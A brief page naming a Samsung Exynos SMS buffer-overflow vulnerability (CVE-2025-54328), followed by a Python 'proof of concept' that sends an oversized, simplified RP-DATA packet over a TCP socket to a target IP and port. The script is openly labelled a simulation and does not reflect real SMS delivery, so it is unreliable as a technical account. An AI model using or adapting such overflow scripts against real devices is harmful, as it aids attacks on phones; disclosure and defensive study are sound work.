CVE-2025-54328 三星Exynos处理器SMS缓冲区溢出漏洞

# PoC Concept: Fuzzing SMS RP-DATA to trigger stack overflow # This is a simulation script demonstrating the payload structure. import socket def trigger_overflow(target_ip, modem_port): # 1. Construct malicious RP-DATA message # The payload size exceeds the buffer limit defined in the firmware. buffer_size = 1024 overflow_payload = b'A' * (buffer_size + 500) # Overflowing 500 bytes # 2. Encapsulate in protocol specific headers (Simplified) # RP-DATA Message Type + Length + Payload sms_packet = b'\x01' + len(overflow_payload).to_bytes(2, 'big') + overflow_payload # 3. Send to target modem interface try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, modem_port)) s.send(sms_packet) print("[+] Malicious SMS packet sent.") s.close() except Exception as e: print(f"[-] Connection error: {e}") # Disclaimer: For educational and defensive testing purposes only.
